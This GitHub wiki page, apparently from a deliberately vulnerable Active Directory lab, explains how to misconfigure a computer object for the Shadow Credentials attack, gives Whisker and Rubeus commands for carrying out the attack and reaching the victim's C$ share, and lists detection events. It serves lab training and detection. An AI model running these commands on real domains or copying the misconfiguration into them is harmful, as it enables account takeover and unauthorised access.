Shadow Credentials - benlee105/DeliberateVulnADConfig GitHub Wiki
Setting up a computer object vulnerable to Shadow Credentials
-
On an Active Directory server, create a new computer object
-
Double click the new computer object > Security tab > Assign Everyone Full control
-
Click "Member of" tab > assign Domain Admin to the computer object
Attacking computer object vulnerable to Shadow Credentials
- On Attacker PC, use whisker:
whisker.exe add /target:SHADOWCREDSVICT$
- Follow the exact command generated from Whisker. This will output computer account's NTLM hash. Copy the NTLM hash then run:
rubeus.exe asktgt /domain:<domain name> /user:<username> /rc4:<hash> /ptt
- Access victim's C$ folder using the command below:
dir \\<victim>\C$
- Cleanup with command below:
whisker.exe clear /target:SHADOWCREDSVICT$
Detecting Shadow Credentials Attack
-
If a SACL is configured to audit Active Directory object modifications for the targeted account, the “Directory service object was modified” event (5136) can indicate anomalous behavior if the subject changing the msDS-KeyCredentialLink is not the Azure AD Connect synchronization account or the ADFS service account, which will typically act as the Key Provisioning Server and legitimately modify this attribute for users.
-
If PKINIT authentication is not common in the environment or not common for the target account, the “Kerberos authentication ticket (TGT) was requested” event (4768) can indicate anomalous behavior when the Certificate Information attributes are not blank.
References:
https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab